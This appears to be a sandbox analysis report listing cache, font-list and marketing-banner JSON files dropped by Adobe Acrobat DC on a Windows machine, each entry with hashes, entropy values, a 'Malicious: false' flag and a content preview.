SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7332

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356100783341189
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJM3g98kUwPeUkwRe9:YvXKXTm2mT5LjIPuGMbLUkee9
MD5:	123B59F7B64B1794862AEB2D3920FBF4
SHA1:	2A7ECFA0AB13BB6769617BBDDCF2E7F7B2B4F546
SHA-256:	EA9FBF4204393C3A2E604E33AE4DB38ABA1E4D0F46D33F9109CD2DB9F291B0C9
SHA-512:	3D7645A828C8DC47F31EACE741B5DB609867DD4659EBE3595C787D51EFE2D49C9229728C3AB13F5176A640269CB776258C7E922412A332E9F76031142528D2CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.309864732791093
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJfBoTfXpnrPeUkwRe9:YvXKXTm2mT5LjIPuGWTfXcUkee9
MD5:	783B8BBC04B0D6542C34BBCE5036BBA7
SHA1:	6BD0648A8DA01F754577976D7F8616C876A943D5
SHA-256:	F597A0EA474AA97F0475BD8C12889F8606E118025AD1C4CE9774C399E9655490
SHA-512:	A693354A63C41CF592D6DAFE154CE690752E9FE35703C4BDB94450C507846ACE55758E21304864B2DE38E369E610C1CD6B453ADB7480B2C3C9C258C22E1941B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289132526705763
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJfBD2G6UpnrPeUkwRe9:YvXKXTm2mT5LjIPuGR22cUkee9
MD5:	A66D919CCB4DBDAD9E1406F9DEF90144
SHA1:	9DF769F4EA3926F3CD6778FBF2AD2906B4533E66
SHA-256:	6121FEE05A426AD4E632C22FAEFDBDC0332CC9FF391F0BC73C64DB17F0533EB8
SHA-512:	95D0853E718152E5A60871E96DD3E1DBBDFC97C8BE41CE4D81DC46D3BE504C30E8B8079A511C94C82746130F8125873F16A41D9BE40D0B098630A6B137A054C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.336847987725333
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJfPmwrPeUkwRe9:YvXKXTm2mT5LjIPuGH56Ukee9
MD5:	C78C285630D470740FD04F69805F9AB4
SHA1:	5D4E5D6D00B12DECF907ADAF10DFB156C302B8BE
SHA-256:	6AABBC47C251F4E8EEDDCD113E7DB2B7D24F3683B90ACFF354326E0E038FBA51
SHA-512:	CB88B7CE652223345B57121318DDE4B65B82D3143EEB40FB1E899A49532B8F2C8C45BAC1EDB03AC8D523294C6F6D82BF17B6259447026AC75F1A3CD0F093BE95
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.697811189209388
Encrypted:	false
SSDEEP:	24:Yv6XTmvT5XIzpLgE9cQx8LennAvzBvkn0RCmK8czOCCSL5:YvogXChgy6SAFv5Ah8cv/L5
MD5:	2424F274CB8F684D2ABADFDFFC81F183
SHA1:	FA25D138D5AE5279BA77B1991657F8BCD4F59040
SHA-256:	8EB4E1D5DFDDB731F26A2739E939CCA62A8ED99354F90826BF59B45ED5B44240
SHA-512:	F6E9A421D01F125B11F7B3FFA4DB860C3B1842BB0250D1A35C65F9ACBE833839EBE8F685F6F6C3E820B599425D736A97645D287C2711CC8904C75F78197E6DC5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309995236966553
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJf8dPeUkwRe9:YvXKXTm2mT5LjIPuGU8Ukee9
MD5:	D9A032573894BCF744546486E70C8322
SHA1:	EE75602F41D258C03EBEEE29AF6DD65B393F2896
SHA-256:	E0AB7C0088010D480E8B68E2814A42A74D77C7CA6229C1758CF5A41F3F3EAB97
SHA-512:	2AE070C897BA2A05137F74D9004EE5D3878A94A5338790DF542ACE332EA6A6DB7BA3591648DBEB7507A4951FDF863FE7919F31DD6BAE31563D2692CF9520A13B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30051814839215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJfQ1rPeUkwRe9:YvXKXTm2mT5LjIPuGY16Ukee9
MD5:	F65C11A77E6A977B88F3F5A9504A9572
SHA1:	174BE93D7997F48C9ED0A0D4FC555DE13E83A19A
SHA-256:	E65EB1B35CE31D8D817457EF4B808DBCDDE1B6A21033A95496F99FAADBE8BCF4
SHA-512:	CAF2C012F1FD80301DCEEB538926BAB0899A5C433743B170E2A6EF73523FAA92266C7225E60D360AEC9CDF4199D3DB0AF2C5A42D659B8833748A02A403A45F91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318732811013308
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJfFldPeUkwRe9:YvXKXTm2mT5LjIPuGz8Ukee9
MD5:	6C0E8458AB6D9CB88A32B0E7432505D4
SHA1:	1F3F52D768B26AC082EC97F93B4B76DAD8F80100
SHA-256:	83DF9424769E1E59488BA8A224854DEF3893702F33C73E7940DBEDB688FC5753
SHA-512:	2662E80398D0D00714358DB29BE0D6D92D7C651AAB1424512688E22E8E677A5201F3F6578FEFD1861F335C56B7DD529E78C4429F48B3B7B69837E454776A55F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.335755994986478
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJfzdPeUkwRe9:YvXKXTm2mT5LjIPuGb8Ukee9
MD5:	CC78DA75B7A74FCDAC0CE67105ED3A7A
SHA1:	98BC2D5478C40B6117477B6F1A3264F3AE6B3798
SHA-256:	59297D4C2FC8E951587755C962F3EC120A5003892BF278B8C49DC4D272BE5E5B
SHA-512:	CEF909055848FAA624074B9C92DBA37A3D8A5964BF8BD132563C1B29F10C7425E370AFE25263CC4F9F7D005F1EFAA4AA99481BD7517652F684D2381B532B02BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316134040824434
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJfYdPeUkwRe9:YvXKXTm2mT5LjIPuGg8Ukee9
MD5:	0A745C6AC84917A94DE6DFAE373025FC
SHA1:	781BAD64E70C835C732B8F5A0BA1B3F83EDCE816
SHA-256:	BCB36B46A03131DC509E9B37EA20A8ED4FA2510A1C61BC0C41ACD6D77F657743
SHA-512:	D0EDE3D72995D22E4E95F1F7DC2D4462C7B0092FB6950B1EEC4DCDF253586C4A87926A42C4BAB54C6819893826ECD4332D67131670178086B919C2B294813E8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.303049817282283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJf+dPeUkwRe9:YvXKXTm2mT5LjIPuG28Ukee9
MD5:	E2B687464C16E321B77360434367006B
SHA1:	496D7F285EF92AC7D5C4AC39C43FDD326546C55C
SHA-256:	8896CA1647723258ECA99540E1B9195EEE41927F6A535C0DBE228A71D182B7C1
SHA-512:	7F8793C9761EEE3422F2333516EBC715E7D59160244261745EFA4B71A47100926FE1FFB0D77336DE0D28D7850C5B6F3AE250C9F197E5440E998AA9DA5708D0FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.299570251619779
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJfbPtdPeUkwRe9:YvXKXTm2mT5LjIPuGDV8Ukee9
MD5:	7D94D5DAAB236D93624FF653A1ABEE3F
SHA1:	3B8B59DB8C0C01E334B671F57BFB116AEC331ED7
SHA-256:	2C55AD662FB38D6AA28A64B837969A1C6EBD45231C1C7353D1DA4B1D923DD07E
SHA-512:	959F53CF5BA6026A5ACC0D1F402E31815542F6FB0714648D0272AF65B4B4568D167009644DE9F202384B6B42F7C567767B7F914ECA207D408D77FD0CAA79B1FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.291218128874166
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJf21rPeUkwRe9:YvXKXTm2mT5LjIPuG+16Ukee9
MD5:	D13247E99DA333F6F70B66FD86B975A5
SHA1:	B6A0867DB1D841000AC8CA9CAC727F6379D48C33
SHA-256:	59D87B57E6C3B5533F21D63C821616FD5B7BDBE38FD4F632AB9579676252D530
SHA-512:	17B4A6C44B9623D06DE5F747522A81D4EF613EF38CFB769A75150C86CFC17A3398EAF7B47DCF229D4628D4DEC2AA48CDE2BA2ABA0B2C2BC9F4E4E1454ED5D421
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.673399546207519
Encrypted:	false
SSDEEP:	24:Yv6XTmvT5XIDamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSL5:YvogXgBgkDMUJUAh8cvML5
MD5:	83523DAF9BE5561509CB1160FBEDB12D
SHA1:	336CD1C1232A0FAC94B309DE322A96647E5521E6
SHA-256:	C93D74FC21D7DE9CF04B321EC2FE17EBADD2F150F5BA80BDE0ADA557F75D78C3
SHA-512:	4E257FD6C0E585F28CBED6016ECF7DED5C910370259019353C15907F50DF151220980A0A55260516B9AE0BC1D1F9D572504935B5D86486E520CAFC98A5ADFD9D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.266957775340962
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJfshHHrPeUkwRe9:YvXKXTm2mT5LjIPuGUUUkee9
MD5:	20712D3390D2C443A5E19711147FBF2D
SHA1:	3FE7E4E6A46F3120CA0E4D7473617BD08C395741
SHA-256:	414018B258E408BBFA49E3706C8588AF881F39A7E1BD0DA6674403A8D924120D
SHA-512:	4664D8D2F9B32C2E74842BBE04D79F1D962C6BC33FBD45D18EEBFA1352EEA476CB94FC8FA253AD323AFCCEF1ACD4BAC8B96EC454D59F8B533816A841B038C867
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.270690678405222
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTmIRKqmSg1c2LjcWkHvR0YAKoAvJTqgFCrPeUkwRe9:YvXKXTm2mT5LjIPuGTq16Ukee9
MD5:	CE99AFD406272CCE86C2318D86AEDA76
SHA1:	092F197D52CE393433B323029BF318C58A4BF75D
SHA-256:	0B93E46097B48B64172362D907060434BA2DEFE32D9FE8E1C3A120E645C36B5A
SHA-512:	937E201A2EEBA00E828344BA5AA12F3558212B43A1257DE60075FBBBD89185E857F14B1ED9435259B2944D5F2D295D0E77371D358618E660D5FA990449AD4C2F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1c877471-100e-47b3-9705-0e8d3e649925","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736710158179,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131893149484355
Encrypted:	false
SSDEEP:	24:YapaGi8iVay979ACtbJJE6x0YxTJzwjRV5j0SgF1C82tZH/2LSKCRBRcvRti6i9Z:YEKb7x0moRVtk1Xu/0ocvzfid8cy9a
MD5:	331A89931949AF22E51FD3A13E551A53
SHA1:	391350060085F44F2484BAC68ADBBBFF78F09CE9
SHA-256:	627703A650BCF53D18926B1CF64E8FA57CBCFF056DCA3AF832CC874EDA71A9C8
SHA-512:	2F4C8BB15746CCA321DEF01BF14CF40A05387BC61A95EE09AD42282E38B4AF36134BE136B2D22C20076C4E4802D0C120376D2A84C78672A190F1FB5AFE9D6C60
Malicious:	false
